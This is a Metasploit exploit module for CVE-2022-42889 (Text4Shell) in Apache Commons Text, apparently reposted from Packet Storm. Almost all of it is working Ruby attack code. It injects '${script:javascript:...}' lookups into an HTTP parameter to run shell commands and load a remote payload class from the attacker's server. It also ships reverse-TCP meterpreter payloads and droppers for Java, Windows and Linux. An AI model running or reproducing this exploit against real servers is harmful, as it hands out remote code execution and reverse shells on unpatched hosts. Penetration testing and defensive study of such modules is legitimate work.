Apache Commons Text 1.9 Remote Code Execution ≈ Packet Storm

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  ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Commons Text RCE',
'Description' => %q{
This exploit takes advantage of the StringSubstitutor interpolator class,
which is included in the Commons Text library. A default interpolator
allows for string lookups that can lead to Remote Code Execution. This
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
keys interpolated by default, as opposed to what it should be, according
to the documentation of the StringLookupFactory class. Those keys allow
an attacker to execute arbitrary code via lookups primarily using the
"script" key.
In order to exploit the vulnerabilities, the following requirements must
be met:
Run a version of Apache Commons Text from version 1.5 to 1.9
Use the StringSubstitutor interpolator
Target should run JDK < 15
},
'License' => MSF_LICENSE,
'Author' => [
'Alvaro Muñoz', # Original research
'Karthik UJ', # PoC
'Gaurav Jain', # Metasploit module
],
'References' => [
['CVE', '2022-42889'],
['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
],
'Platform' => ['win', 'linux', 'unix', 'java'],
'Targets' => [
[
'Java (in-memory)',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
},
],
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'Privileged' => false,
'DisclosureDate' => '2022-10-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The target URI', '/']),
OptString.new('PARAM', [ true, 'The vulnerable parameter']),
OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])
])
end
def check
vprint_status("Checking if #{peer} can be exploited.")
res = send_exp
return CheckCode::Unknown('No response received from target.') unless res
# blind command injection using sleep command
sleep_time = rand(4..8)
vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
end
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time
CheckCode::Vulnerable('Successfully tested command injection.')
end
def exploit
case target['Type']
when :java
# Start the HTTP server to serve the payload
start_service
# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader
# Handle the payload
handler
when :windows_cmd, :unix_cmd
execute_command(payload.encoded)
when :windows_dropper, :linux_dropper
execute_cmdstager
end
end
def trigger_urlclassloader
url = get_uri
vars = Rex::RandomIdentifier::Generator.new
exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"
res = send_exp(exp)
fail_with(Failure::Unreachable, 'No response received from the target') unless res
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
end
def execute_command(cmd, _opts = {})
vars = Rex::RandomIdentifier::Generator.new
exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"
exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"
res = send_exp(exp)
fail_with(Failure::Unreachable, 'No response received from the target') unless res
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
end
def send_exp(exp = '')
vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
send_request_cgi(
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path),
vars => {
datastore['PARAM'] => "${script:javascript:#{exp}}"
}
)
end
def win_target?
target['Platform'] == 'win'
end
def on_request_uri(cli, request)
case target['Type']
when :java
# Call method to handle java payload staging
super(cli, request)
else
# Handle win/unix cmd staging
client = cli.peerhost
print_status("Client #{client} requested #{request.uri}")
print_status("Sending payload to #{client}")
send_response(cli, exe)
end
end
end